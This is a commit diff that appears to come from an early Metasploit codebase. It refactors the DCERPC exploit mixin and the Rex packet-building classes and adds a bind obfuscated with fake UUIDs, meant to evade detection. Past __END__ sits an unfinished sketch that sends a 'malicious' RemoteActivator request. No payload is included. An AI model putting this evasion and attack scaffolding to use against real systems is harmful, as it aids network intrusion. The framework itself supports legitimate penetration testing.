DCERPC foo
git-svn-id: file:///home/svn/incoming/trunk@2852 4d416f70-5f16-0410-b530-b9f4589650daunstable
parent
2aa3c8ff15
commit
5e5f7eed24
|
@ -9,17 +9,24 @@ module Msf
|
||||||
#
|
#
|
||||||
# This mixin provides utility methods for interacting with a DCERPC service on
|
# This mixin provides utility methods for interacting with a DCERPC service on
|
||||||
# a remote machine. These methods may generally be useful in the context of
|
# a remote machine. These methods may generally be useful in the context of
|
||||||
# exploitation. This mixin extends the Tcp exploit mixin.
|
# exploitation. This mixin extends the Tcp exploit mixin. Only one DCERPC
|
||||||
|
# service can be accessed at a time using this class.
|
||||||
#
|
#
|
||||||
###
|
###
|
||||||
module Exploit::Remote::DCERPC
|
module Exploit::Remote::DCERPC
|
||||||
include Exploit::Remote::Tcp
|
include Exploit::Remote::Tcp
|
||||||
|
|
||||||
|
# Alias over the Rex DCERPC protocol modules
|
||||||
|
DCERPCPacket = Rex::Proto::DCERPC::Packet
|
||||||
|
DCERPCClient = Rex::Proto::DCERPC::Client
|
||||||
|
DCERPCResponse = Rex::Proto::DCERPC::Response
|
||||||
|
DCERPCUUID = Rex::Proto::DCERPC::UUID
|
||||||
|
|
||||||
def initialize(info = {})
|
def initialize(info = {})
|
||||||
super
|
super
|
||||||
|
|
||||||
# OptInt.new('FragSize', [ 1, 'Set the DCERPC packet fragmentation size', 127])
|
OptInt.new('DCEFragSize', [ 1, 'Set the DCERPC packet fragmentation size', 127])
|
||||||
# OptBool.new('MultiBind', [ 0, 'Configure multi-context bind calls', 'T' ])
|
OptBool.new('DCEMultiBind', [ 0, 'Configure multi-context bind calls', 'T' ])
|
||||||
register_options(
|
register_options(
|
||||||
[
|
[
|
||||||
Opt::RHOST,
|
Opt::RHOST,
|
||||||
|
@ -27,19 +34,129 @@ module Exploit::Remote::DCERPC
|
||||||
], Msf::Exploit::Remote::DCERPC)
|
], Msf::Exploit::Remote::DCERPC)
|
||||||
end
|
end
|
||||||
|
|
||||||
# Connect to the host/port specified by datastore['RHOST'], datastore['RPORT']
|
#
|
||||||
# Returns the context id on success and nil on failure
|
# Generate a DCERPC bind request and send it on the default socket
|
||||||
def connect_bind (uuid, vers)
|
#
|
||||||
|
def dcerpc_bind (uuid, vers = nil)
|
||||||
|
|
||||||
# 1. Create the socket and connect to the target system
|
# Create the bind request
|
||||||
|
bind, ctx = dcerpc_make_bind(uuid, vers)
|
||||||
|
if (bind == nil)
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
# 2. Call Rex::Proto::DCERPC::Client to generate the BIND packet(s)
|
# Verify that the socket exists
|
||||||
|
if (sock == nil)
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
# 3. Send the BIND packets and parse the response
|
# Send the bind request
|
||||||
|
sock.put(bind)
|
||||||
|
|
||||||
|
# Parse the response
|
||||||
|
resp = DCERPCClient.read_response(sock)
|
||||||
|
if (resp.ack_result[ctx] != 0)
|
||||||
|
print_status("Failed to bind to UUID " + uuid)
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
return resp
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Generate DCERPC request packets and send them on the default socket
|
||||||
|
#
|
||||||
|
def dcerpc_call (func, stub)
|
||||||
|
|
||||||
|
# Create the request packets
|
||||||
|
pkts = dcerpc_make_call(func, stub)
|
||||||
|
if (pkts == nil)
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
# Verify that the socket exists
|
||||||
|
if (sock == nil)
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
print_status("Sending " + pkts.size.to_s + " DCERPC fragments...")
|
||||||
|
pkts.each { |chunk| sock.put(chunk) }
|
||||||
|
resp = DCERPCClient.read_response(sock)
|
||||||
|
return resp
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Generate the DCERPC bind request packet
|
||||||
|
#
|
||||||
|
def dcerpc_make_bind (uuid, vers = nil)
|
||||||
|
# Resolve the UUID if only the name was supplied
|
||||||
|
if (vers == nil)
|
||||||
|
vers = DCERPCUUID.vers_by_name(uuid)
|
||||||
|
uuid = DCERPCUUID.uuid_by_name(uuid)
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
# Verify that the uuid was resolved and is valid
|
||||||
|
if (uuid == nil)
|
||||||
|
print_status("Invalid UUID")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
bind, ctx = nil, nil
|
||||||
|
|
||||||
|
if (datastore['DCEMultiBind'])
|
||||||
|
bind, ctx = DCERPCPacket.make_bind_fake_multi(uuid, vers, 10, 4)
|
||||||
|
else
|
||||||
|
bind, ctx = DCERPCPacket.make_bind(uuid, vers)
|
||||||
|
end
|
||||||
|
|
||||||
|
# Cache the context value for future requests
|
||||||
|
self.dcerpc_bind_context = ctx
|
||||||
|
|
||||||
|
return bind, ctx
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Generate the DCERPC request packets, broken up into DCEFragSize chunks
|
||||||
|
#
|
||||||
|
def dcerpc_make_call (func, stub, ctx = self.dcerpc_bind_context)
|
||||||
|
DCERPCPacket.make_request(
|
||||||
|
func,
|
||||||
|
stub,
|
||||||
|
datastore['DCEFragSize'].to_i || stub.length,
|
||||||
|
ctx
|
||||||
|
)
|
||||||
|
end
|
||||||
|
|
||||||
|
# Used to track the last DCERPC context
|
||||||
|
attr_accessor :dcerpc_bind_context
|
||||||
|
|
||||||
# 4. Return the context id back to the calling function
|
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
|
__END__
|
||||||
|
|
||||||
|
u = Rex::Proto::DCERPC::UUID.new()
|
||||||
|
|
||||||
|
uuid = u.uuid_by_name('REMACT')
|
||||||
|
vers = u.vers_by_name('REMACT')
|
||||||
|
|
||||||
|
print_status("Attempting to bind to the RemoteActivator interface...")
|
||||||
|
bind_pkt, ctx = Rex::Proto::DCERPC::Packet.make_bind_fake_multi(uuid, vers, 10, 4)
|
||||||
|
|
||||||
|
sock.put(bind_pkt)
|
||||||
|
resp = d.read_response(sock)
|
||||||
|
|
||||||
|
if (resp.ack_result[ctx] != 0)
|
||||||
|
print_status("DCERPC bind to the RemoteActivator interface failed")
|
||||||
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
|
print_status("Successful bind to the RemoteActivator interface")
|
||||||
|
|
||||||
|
print_status("Sending the malicious DCERPC request...")
|
||||||
|
Rex::Proto::DCERPC::Packet.make_request(0, stubdata, 256, ctx).each do |chunk|
|
||||||
|
sock.put(chunk)
|
||||||
|
end
|
||||||
|
|
||||||
|
|
|
@ -1,3 +1,4 @@
|
||||||
require 'rex/proto/dcerpc/uuid'
|
require 'rex/proto/dcerpc/uuid'
|
||||||
require 'rex/proto/dcerpc/response'
|
require 'rex/proto/dcerpc/response'
|
||||||
require 'rex/proto/dcerpc/client'
|
require 'rex/proto/dcerpc/client'
|
||||||
|
require 'rex/proto/dcerpc/packet'
|
||||||
|
|
|
@ -8,7 +8,7 @@ require 'rex/proto/dcerpc/response'
|
||||||
require 'rex/text'
|
require 'rex/text'
|
||||||
|
|
||||||
# Process a DCERPC response packet from a socket
|
# Process a DCERPC response packet from a socket
|
||||||
def read_response (socket)
|
def self.read_response (socket)
|
||||||
|
|
||||||
head = socket.timed_read(10, 5)
|
head = socket.timed_read(10, 5)
|
||||||
# rescue
|
# rescue
|
||||||
|
@ -23,8 +23,11 @@ require 'rex/text'
|
||||||
return resp
|
return resp
|
||||||
end
|
end
|
||||||
|
|
||||||
|
begin
|
||||||
body = socket.timed_read(resp.frag_len - 10, 10)
|
body = socket.timed_read(resp.frag_len - 10, 10)
|
||||||
# rescue
|
rescue Timeout::Error
|
||||||
|
puts "Error: #{ $! }"
|
||||||
|
end
|
||||||
|
|
||||||
if (body.nil? or body.length() != resp.frag_len - 10)
|
if (body.nil? or body.length() != resp.frag_len - 10)
|
||||||
return resp
|
return resp
|
||||||
|
@ -34,228 +37,6 @@ require 'rex/text'
|
||||||
return resp
|
return resp
|
||||||
end
|
end
|
||||||
|
|
||||||
# Create a standard DCERPC BIND request packet
|
|
||||||
def make_bind (uuid, vers)
|
|
||||||
u = Rex::Proto::DCERPC::UUID.new()
|
|
||||||
|
|
||||||
# Process the version strings ("1.0", 1.0, "1", 1)
|
|
||||||
bind_vers_maj, bind_vers_min = u.vers_to_nums(vers)
|
|
||||||
xfer_vers_maj, xfer_vers_min = u.vers_to_nums(u.xfer_syntax_vers)
|
|
||||||
|
|
||||||
# Create the bind request packet
|
|
||||||
buff =
|
|
||||||
[
|
|
||||||
5, # major version 5
|
|
||||||
0, # minor version 0
|
|
||||||
11, # bind type
|
|
||||||
3, # flags
|
|
||||||
0x10000000, # data representation
|
|
||||||
72, # frag length
|
|
||||||
0, # auth length
|
|
||||||
0, # call id
|
|
||||||
5840, # max xmit frag
|
|
||||||
5840, # max recv frag
|
|
||||||
0, # assoc group
|
|
||||||
1, # num ctx items
|
|
||||||
0, # context id
|
|
||||||
1, # num trans items
|
|
||||||
u.uuid_pack(uuid), # interface uuid
|
|
||||||
bind_vers_maj, # interface major version
|
|
||||||
bind_vers_min, # interface minor version
|
|
||||||
u.xfer_syntax_uuid, # transfer syntax
|
|
||||||
xfer_vers_maj, # syntax major version
|
|
||||||
xfer_vers_min, # syntax minor version
|
|
||||||
].pack('CCCCNvvVvvVVvvA16vvA16vv')
|
|
||||||
|
|
||||||
return buff, 0
|
|
||||||
end
|
|
||||||
|
|
||||||
# Create an obfuscated DCERPC BIND request packet
|
|
||||||
def make_bind_fake_multi(uuid, vers, bind_head=rand(6)+10, bind_tail=rand(4))
|
|
||||||
u = Rex::Proto::DCERPC::UUID.new()
|
|
||||||
|
|
||||||
# Process the version strings ("1.0", 1.0, "1", 1)
|
|
||||||
bind_vers_maj, bind_vers_min = u.vers_to_nums(vers)
|
|
||||||
xfer_vers_maj, xfer_vers_min = u.vers_to_nums(u.xfer_syntax_vers)
|
|
||||||
|
|
||||||
bind_total = bind_head + bind_tail + 1
|
|
||||||
bind_size = (bind_total * 44) + 28
|
|
||||||
real_ctx, ctx = 0, 0
|
|
||||||
|
|
||||||
# Create the header of the bind request
|
|
||||||
data =
|
|
||||||
[
|
|
||||||
5, # major version 5
|
|
||||||
0, # minor version 0
|
|
||||||
11, # bind type
|
|
||||||
3, # flags
|
|
||||||
0x10000000, # data representation
|
|
||||||
bind_size, # frag length
|
|
||||||
0, # auth length
|
|
||||||
0, # call id
|
|
||||||
5840, # max xmit frag
|
|
||||||
5840, # max recv frag
|
|
||||||
0, # assoc group
|
|
||||||
bind_total, # num ctx items
|
|
||||||
].pack('CCCCNvvVvvVV')
|
|
||||||
|
|
||||||
# Generate the fake UUIDs prior to the real one
|
|
||||||
1.upto(bind_head) do ||
|
|
||||||
# Generate some random UUID and versions
|
|
||||||
rand_uuid = Rex::Text.rand_text(16)
|
|
||||||
rand_imaj = rand(6)
|
|
||||||
rand_imin = rand(4)
|
|
||||||
|
|
||||||
data +=
|
|
||||||
[
|
|
||||||
ctx, # context id
|
|
||||||
1, # num trans items
|
|
||||||
rand_uuid, # interface uuid
|
|
||||||
rand_imaj, # interface major version
|
|
||||||
rand_imin, # interface minor version
|
|
||||||
u.xfer_syntax_uuid, # transfer syntax
|
|
||||||
xfer_vers_maj, # syntax major version
|
|
||||||
xfer_vers_min, # syntax minor version
|
|
||||||
].pack('vvA16vvA16vv')
|
|
||||||
ctx += 1
|
|
||||||
end
|
|
||||||
|
|
||||||
# Stuff the real UUID onto the end of the buffer
|
|
||||||
real_ctx = ctx;
|
|
||||||
data +=
|
|
||||||
[
|
|
||||||
ctx, # context id
|
|
||||||
1, # num trans items
|
|
||||||
u.uuid_pack(uuid), # interface uuid
|
|
||||||
bind_vers_maj, # interface major version
|
|
||||||
bind_vers_min, # interface minor version
|
|
||||||
u.xfer_syntax_uuid, # transfer syntax
|
|
||||||
xfer_vers_maj, # syntax major version
|
|
||||||
xfer_vers_min, # syntax minor version
|
|
||||||
].pack('vvA16vvA16vv')
|
|
||||||
ctx += 1
|
|
||||||
|
|
||||||
|
|
||||||
# Generate the fake UUIDs after the real one
|
|
||||||
1.upto(bind_tail) do ||
|
|
||||||
# Generate some random UUID and versions
|
|
||||||
rand_uuid = Rex::Text.rand_text(16)
|
|
||||||
rand_imaj = rand(6)
|
|
||||||
rand_imin = rand(4)
|
|
||||||
|
|
||||||
data +=
|
|
||||||
[
|
|
||||||
ctx, # context id
|
|
||||||
1, # num trans items
|
|
||||||
rand_uuid, # interface uuid
|
|
||||||
rand_imaj, # interface major version
|
|
||||||
rand_imin, # interface minor version
|
|
||||||
u.xfer_syntax_uuid, # transfer syntax
|
|
||||||
xfer_vers_maj, # syntax major version
|
|
||||||
xfer_vers_min, # syntax minor version
|
|
||||||
].pack('vvA16vvA16vv')
|
|
||||||
ctx += 1
|
|
||||||
end
|
|
||||||
|
|
||||||
# Return both the bind packet and the real context_id
|
|
||||||
return data, real_ctx
|
|
||||||
end
|
|
||||||
|
|
||||||
# Create a standard DCERPC ALTER_CONTEXT request packet
|
|
||||||
def make_alter_context (uuid, vers)
|
|
||||||
u = Rex::Proto::DCERPC::UUID.new()
|
|
||||||
|
|
||||||
# Process the version strings ("1.0", 1.0, "1", 1)
|
|
||||||
bind_vers_maj, bind_vers_min = u.vers_to_nums(vers)
|
|
||||||
xfer_vers_maj, xfer_vers_min = u.vers_to_nums(u.xfer_syntax_vers)
|
|
||||||
|
|
||||||
buff =
|
|
||||||
[
|
|
||||||
5, # major version 5
|
|
||||||
0, # minor version 0
|
|
||||||
14, # alter context
|
|
||||||
3, # flags
|
|
||||||
0x10000000, # data representation
|
|
||||||
72, # frag length
|
|
||||||
0, # auth length
|
|
||||||
0, # call id
|
|
||||||
5840, # max xmit frag
|
|
||||||
5840, # max recv frag
|
|
||||||
0, # assoc group
|
|
||||||
1, # num ctx items
|
|
||||||
0, # context id
|
|
||||||
1, # num trans items
|
|
||||||
u.uuid_pack(uuid), # interface uuid
|
|
||||||
bind_vers_maj, # interface major version
|
|
||||||
bind_vers_min, # interface minor version
|
|
||||||
u.xfer_syntax_uuid, # transfer syntax
|
|
||||||
xfer_vers_maj, # syntax major version
|
|
||||||
xfer_vers_min, # syntax minor version
|
|
||||||
].pack('CCCCNvvVvvVVvvA16vvA16vv')
|
|
||||||
end
|
|
||||||
|
|
||||||
|
|
||||||
# Used to create a piece of a DCERPC REQUEST packet
|
|
||||||
def make_request_chunk (flags=3, opnum=0, data="", ctx=0)
|
|
||||||
|
|
||||||
dlen = data.length
|
|
||||||
flen = dlen + 24
|
|
||||||
|
|
||||||
buff =
|
|
||||||
[
|
|
||||||
5, # major version 5
|
|
||||||
0, # minor version 0
|
|
||||||
0, # request type
|
|
||||||
flags, # flags
|
|
||||||
0x10000000, # data representation
|
|
||||||
flen, # frag length
|
|
||||||
0, # auth length
|
|
||||||
0, # call id
|
|
||||||
dlen, # alloc hint
|
|
||||||
ctx, # context id
|
|
||||||
opnum, # operation number
|
|
||||||
].pack('CCCCNvvVVvv') + data
|
|
||||||
end
|
|
||||||
|
|
||||||
# Used to create standard DCERPC REQUEST packet(s)
|
|
||||||
def make_request (opnum=0, data="", size=data.length, ctx=0)
|
|
||||||
|
|
||||||
dlen = data.length
|
|
||||||
chunks, frags = [], []
|
|
||||||
ptr = 0
|
|
||||||
|
|
||||||
# Break the request into fragments of 'size' bytes
|
|
||||||
while ptr < data.length
|
|
||||||
chunks.push( data[ ptr, size ] )
|
|
||||||
ptr += size
|
|
||||||
end
|
|
||||||
|
|
||||||
# Process requests with no stub data
|
|
||||||
if chunks.length == 0
|
|
||||||
frags.push( make_request_chunk(3, opnum, '', ctx) )
|
|
||||||
return frags
|
|
||||||
end
|
|
||||||
|
|
||||||
# Process requests with only one fragment
|
|
||||||
if chunks.length == 1
|
|
||||||
frags.push( make_request_chunk(3, opnum, chunks[0], ctx) )
|
|
||||||
return frags
|
|
||||||
end
|
|
||||||
|
|
||||||
# Create the first fragment of the request
|
|
||||||
frags.push( make_request_chunk(1, opnum, chunks.shift, ctx) )
|
|
||||||
|
|
||||||
# Create all of the middle fragments
|
|
||||||
while chunks.length != 1
|
|
||||||
frags.push( make_request_chunk(0, opnum, chunks.shift, ctx) )
|
|
||||||
end
|
|
||||||
|
|
||||||
# Create the last fragment of the request
|
|
||||||
frags.push( make_request_chunk(2, opnum, chunks.shift, ctx) )
|
|
||||||
|
|
||||||
return frags
|
|
||||||
end
|
|
||||||
|
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
|
@ -0,0 +1,235 @@
|
||||||
|
module Rex
|
||||||
|
module Proto
|
||||||
|
module DCERPC
|
||||||
|
class Packet
|
||||||
|
|
||||||
|
require 'rex/proto/dcerpc/uuid'
|
||||||
|
require 'rex/proto/dcerpc/response'
|
||||||
|
require 'rex/text'
|
||||||
|
|
||||||
|
# Create a standard DCERPC BIND request packet
|
||||||
|
def self.make_bind (uuid, vers)
|
||||||
|
u = Rex::Proto::DCERPC::UUID
|
||||||
|
|
||||||
|
# Process the version strings ("1.0", 1.0, "1", 1)
|
||||||
|
bind_vers_maj, bind_vers_min = u.vers_to_nums(vers)
|
||||||
|
xfer_vers_maj, xfer_vers_min = u.vers_to_nums(u.xfer_syntax_vers)
|
||||||
|
|
||||||
|
# Create the bind request packet
|
||||||
|
buff =
|
||||||
|
[
|
||||||
|
5, # major version 5
|
||||||
|
0, # minor version 0
|
||||||
|
11, # bind type
|
||||||
|
3, # flags
|
||||||
|
0x10000000, # data representation
|
||||||
|
72, # frag length
|
||||||
|
0, # auth length
|
||||||
|
0, # call id
|
||||||
|
5840, # max xmit frag
|
||||||
|
5840, # max recv frag
|
||||||
|
0, # assoc group
|
||||||
|
1, # num ctx items
|
||||||
|
0, # context id
|
||||||
|
1, # num trans items
|
||||||
|
u.uuid_pack(uuid), # interface uuid
|
||||||
|
bind_vers_maj, # interface major version
|
||||||
|
bind_vers_min, # interface minor version
|
||||||
|
u.xfer_syntax_uuid, # transfer syntax
|
||||||
|
xfer_vers_maj, # syntax major version
|
||||||
|
xfer_vers_min, # syntax minor version
|
||||||
|
].pack('CCCCNvvVvvVVvvA16vvA16vv')
|
||||||
|
|
||||||
|
return buff, 0
|
||||||
|
end
|
||||||
|
|
||||||
|
# Create an obfuscated DCERPC BIND request packet
|
||||||
|
def self.make_bind_fake_multi(uuid, vers, bind_head=rand(6)+10, bind_tail=rand(4))
|
||||||
|
u = Rex::Proto::DCERPC::UUID
|
||||||
|
|
||||||
|
# Process the version strings ("1.0", 1.0, "1", 1)
|
||||||
|
bind_vers_maj, bind_vers_min = u.vers_to_nums(vers)
|
||||||
|
xfer_vers_maj, xfer_vers_min = u.vers_to_nums(u.xfer_syntax_vers)
|
||||||
|
|
||||||
|
bind_total = bind_head + bind_tail + 1
|
||||||
|
bind_size = (bind_total * 44) + 28
|
||||||
|
real_ctx, ctx = 0, 0
|
||||||
|
|
||||||
|
# Create the header of the bind request
|
||||||
|
data =
|
||||||
|
[
|
||||||
|
5, # major version 5
|
||||||
|
0, # minor version 0
|
||||||
|
11, # bind type
|
||||||
|
3, # flags
|
||||||
|
0x10000000, # data representation
|
||||||
|
bind_size, # frag length
|
||||||
|
0, # auth length
|
||||||
|
0, # call id
|
||||||
|
5840, # max xmit frag
|
||||||
|
5840, # max recv frag
|
||||||
|
0, # assoc group
|
||||||
|
bind_total, # num ctx items
|
||||||
|
].pack('CCCCNvvVvvVV')
|
||||||
|
|
||||||
|
# Generate the fake UUIDs prior to the real one
|
||||||
|
1.upto(bind_head) do ||
|
||||||
|
# Generate some random UUID and versions
|
||||||
|
rand_uuid = Rex::Text.rand_text(16)
|
||||||
|
rand_imaj = rand(6)
|
||||||
|
rand_imin = rand(4)
|
||||||
|
|
||||||
|
data +=
|
||||||
|
[
|
||||||
|
ctx, # context id
|
||||||
|
1, # num trans items
|
||||||
|
rand_uuid, # interface uuid
|
||||||
|
rand_imaj, # interface major version
|
||||||
|
rand_imin, # interface minor version
|
||||||
|
u.xfer_syntax_uuid, # transfer syntax
|
||||||
|
xfer_vers_maj, # syntax major version
|
||||||
|
xfer_vers_min, # syntax minor version
|
||||||
|
].pack('vvA16vvA16vv')
|
||||||
|
ctx += 1
|
||||||
|
end
|
||||||
|
|
||||||
|
# Stuff the real UUID onto the end of the buffer
|
||||||
|
real_ctx = ctx;
|
||||||
|
data +=
|
||||||
|
[
|
||||||
|
ctx, # context id
|
||||||
|
1, # num trans items
|
||||||
|
u.uuid_pack(uuid), # interface uuid
|
||||||
|
bind_vers_maj, # interface major version
|
||||||
|
bind_vers_min, # interface minor version
|
||||||
|
u.xfer_syntax_uuid, # transfer syntax
|
||||||
|
xfer_vers_maj, # syntax major version
|
||||||
|
xfer_vers_min, # syntax minor version
|
||||||
|
].pack('vvA16vvA16vv')
|
||||||
|
ctx += 1
|
||||||
|
|
||||||
|
|
||||||
|
# Generate the fake UUIDs after the real one
|
||||||
|
1.upto(bind_tail) do ||
|
||||||
|
# Generate some random UUID and versions
|
||||||
|
rand_uuid = Rex::Text.rand_text(16)
|
||||||
|
rand_imaj = rand(6)
|
||||||
|
rand_imin = rand(4)
|
||||||
|
|
||||||
|
data +=
|
||||||
|
[
|
||||||
|
ctx, # context id
|
||||||
|
1, # num trans items
|
||||||
|
rand_uuid, # interface uuid
|
||||||
|
rand_imaj, # interface major version
|
||||||
|
rand_imin, # interface minor version
|
||||||
|
u.xfer_syntax_uuid, # transfer syntax
|
||||||
|
xfer_vers_maj, # syntax major version
|
||||||
|
xfer_vers_min, # syntax minor version
|
||||||
|
].pack('vvA16vvA16vv')
|
||||||
|
ctx += 1
|
||||||
|
end
|
||||||
|
|
||||||
|
# Return both the bind packet and the real context_id
|
||||||
|
return data, real_ctx
|
||||||
|
end
|
||||||
|
|
||||||
|
# Create a standard DCERPC ALTER_CONTEXT request packet
|
||||||
|
def self.make_alter_context (uuid, vers)
|
||||||
|
u = Rex::Proto::DCERPC::UUID
|
||||||
|
|
||||||
|
# Process the version strings ("1.0", 1.0, "1", 1)
|
||||||
|
bind_vers_maj, bind_vers_min = u.vers_to_nums(vers)
|
||||||
|
xfer_vers_maj, xfer_vers_min = u.vers_to_nums(u.xfer_syntax_vers)
|
||||||
|
|
||||||
|
buff =
|
||||||
|
[
|
||||||
|
5, # major version 5
|
||||||
|
0, # minor version 0
|
||||||
|
14, # alter context
|
||||||
|
3, # flags
|
||||||
|
0x10000000, # data representation
|
||||||
|
72, # frag length
|
||||||
|
0, # auth length
|
||||||
|
0, # call id
|
||||||
|
5840, # max xmit frag
|
||||||
|
5840, # max recv frag
|
||||||
|
0, # assoc group
|
||||||
|
1, # num ctx items
|
||||||
|
0, # context id
|
||||||
|
1, # num trans items
|
||||||
|
u.uuid_pack(uuid), # interface uuid
|
||||||
|
bind_vers_maj, # interface major version
|
||||||
|
bind_vers_min, # interface minor version
|
||||||
|
u.xfer_syntax_uuid, # transfer syntax
|
||||||
|
xfer_vers_maj, # syntax major version
|
||||||
|
xfer_vers_min, # syntax minor version
|
||||||
|
].pack('CCCCNvvVvvVVvvA16vvA16vv')
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
# Used to create a piece of a DCERPC REQUEST packet
|
||||||
|
def self.make_request_chunk (flags=3, opnum=0, data="", ctx=0)
|
||||||
|
|
||||||
|
dlen = data.length
|
||||||
|
flen = dlen + 24
|
||||||
|
|
||||||
|
buff =
|
||||||
|
[
|
||||||
|
5, # major version 5
|
||||||
|
0, # minor version 0
|
||||||
|
0, # request type
|
||||||
|
flags, # flags
|
||||||
|
0x10000000, # data representation
|
||||||
|
flen, # frag length
|
||||||
|
0, # auth length
|
||||||
|
0, # call id
|
||||||
|
dlen, # alloc hint
|
||||||
|
ctx, # context id
|
||||||
|
opnum, # operation number
|
||||||
|
].pack('CCCCNvvVVvv') + data
|
||||||
|
end
|
||||||
|
|
||||||
|
# Used to create standard DCERPC REQUEST packet(s)
|
||||||
|
def self.make_request (opnum=0, data="", size=data.length, ctx=0)
|
||||||
|
|
||||||
|
dlen = data.length
|
||||||
|
chunks, frags = [], []
|
||||||
|
ptr = 0
|
||||||
|
|
||||||
|
# Break the request into fragments of 'size' bytes
|
||||||
|
while ptr < data.length
|
||||||
|
chunks.push( data[ ptr, size ] )
|
||||||
|
ptr += size
|
||||||
|
end
|
||||||
|
|
||||||
|
# Process requests with no stub data
|
||||||
|
if chunks.length == 0
|
||||||
|
frags.push( make_request_chunk(3, opnum, '', ctx) )
|
||||||
|
return frags
|
||||||
|
end
|
||||||
|
|
||||||
|
# Process requests with only one fragment
|
||||||
|
if chunks.length == 1
|
||||||
|
frags.push( make_request_chunk(3, opnum, chunks[0], ctx) )
|
||||||
|
return frags
|
||||||
|
end
|
||||||
|
|
||||||
|
# Create the first fragment of the request
|
||||||
|
frags.push( make_request_chunk(1, opnum, chunks.shift, ctx) )
|
||||||
|
|
||||||
|
# Create all of the middle fragments
|
||||||
|
while chunks.length != 1
|
||||||
|
frags.push( make_request_chunk(0, opnum, chunks.shift, ctx) )
|
||||||
|
end
|
||||||
|
|
||||||
|
# Create the last fragment of the request
|
||||||
|
frags.push( make_request_chunk(2, opnum, chunks.shift, ctx) )
|
||||||
|
|
||||||
|
return frags
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
|
@ -27,7 +27,7 @@ class Response
|
||||||
self.raw = self.raw + body
|
self.raw = self.raw + body
|
||||||
self.type = self.raw[2,1].unpack('C')[0]
|
self.type = self.raw[2,1].unpack('C')[0]
|
||||||
|
|
||||||
uuid = Rex::Proto::DCERPC::UUID.new()
|
uuid = Rex::Proto::DCERPC::UUID
|
||||||
data = self.raw
|
data = self.raw
|
||||||
|
|
||||||
# BIND_ACK == 12, ALTER_CONTEXT_RESP == 15
|
# BIND_ACK == 12, ALTER_CONTEXT_RESP == 15
|
||||||
|
|
|
@ -3,8 +3,8 @@ module Proto
|
||||||
module DCERPC
|
module DCERPC
|
||||||
class UUID
|
class UUID
|
||||||
|
|
||||||
def initialize
|
|
||||||
@known_uuids =
|
@@known_uuids =
|
||||||
{
|
{
|
||||||
'MGMT' => [ 'afa8bd80-7d8a-11c9-bef4-08002b102989', '2.0' ],
|
'MGMT' => [ 'afa8bd80-7d8a-11c9-bef4-08002b102989', '2.0' ],
|
||||||
'REMACT' => [ '4d9f4ab8-7d1c-11cf-861e-0020af6e7c57', '0.0' ],
|
'REMACT' => [ '4d9f4ab8-7d1c-11cf-861e-0020af6e7c57', '0.0' ],
|
||||||
|
@ -15,10 +15,10 @@ class UUID
|
||||||
'EVENTLOG' => [ '82273fdc-e32a-18c3-3f78-827929dc23ea', '0.0' ],
|
'EVENTLOG' => [ '82273fdc-e32a-18c3-3f78-827929dc23ea', '0.0' ],
|
||||||
'SVCCTL' => [ '367abb81-9844-35f1-ad32-98f038001003', '2.0' ]
|
'SVCCTL' => [ '367abb81-9844-35f1-ad32-98f038001003', '2.0' ]
|
||||||
}
|
}
|
||||||
end
|
|
||||||
|
|
||||||
# Convert a UUID in binary format to the string representation
|
# Convert a UUID in binary format to the string representation
|
||||||
def uuid_unpack(uuid_bin)
|
def self.uuid_unpack(uuid_bin)
|
||||||
sprintf("%.8x-%.4x-%.4x-%.4x-%s",
|
sprintf("%.8x-%.4x-%.4x-%.4x-%s",
|
||||||
uuid_bin[ 0, 4].unpack('V')[0],
|
uuid_bin[ 0, 4].unpack('V')[0],
|
||||||
uuid_bin[ 4, 2].unpack('v')[0],
|
uuid_bin[ 4, 2].unpack('v')[0],
|
||||||
|
@ -29,37 +29,37 @@ class UUID
|
||||||
end
|
end
|
||||||
|
|
||||||
# Convert a UUID in string format to the binary representation
|
# Convert a UUID in string format to the binary representation
|
||||||
def uuid_pack (uuid_str)
|
def self.uuid_pack (uuid_str)
|
||||||
parts = uuid_str.split('-')
|
parts = uuid_str.split('-')
|
||||||
[ parts[0].hex, parts[1].hex, parts[2].hex, parts[3].hex ].pack('Vvvn') + [ parts[4] ].pack('H*')
|
[ parts[0].hex, parts[1].hex, parts[2].hex, parts[3].hex ].pack('Vvvn') + [ parts[4] ].pack('H*')
|
||||||
end
|
end
|
||||||
|
|
||||||
# Provide the common TransferSyntax UUID in packed format
|
# Provide the common TransferSyntax UUID in packed format
|
||||||
def xfer_syntax_uuid ()
|
def self.xfer_syntax_uuid ()
|
||||||
self.uuid_pack('8a885d04-1ceb-11c9-9fe8-08002b104860')
|
self.uuid_pack('8a885d04-1ceb-11c9-9fe8-08002b104860')
|
||||||
end
|
end
|
||||||
|
|
||||||
# Provide the common TransferSyntax version number
|
# Provide the common TransferSyntax version number
|
||||||
def xfer_syntax_vers ()
|
def self.xfer_syntax_vers ()
|
||||||
'2.0'
|
'2.0'
|
||||||
end
|
end
|
||||||
|
|
||||||
# Determine the UUID string for the DCERPC service with this name
|
# Determine the UUID string for the DCERPC service with this name
|
||||||
def uuid_by_name (name)
|
def self.uuid_by_name (name)
|
||||||
if @known_uuids.key?(name)
|
if @@known_uuids.key?(name)
|
||||||
@known_uuids[name][0]
|
@@known_uuids[name][0]
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
# Determine the common version number for the DCERPC service with this name
|
# Determine the common version number for the DCERPC service with this name
|
||||||
def vers_by_name (name)
|
def self.vers_by_name (name)
|
||||||
if @known_uuids.key?(name)
|
if @@known_uuids.key?(name)
|
||||||
@known_uuids[name][1]
|
@@known_uuids[name][1]
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
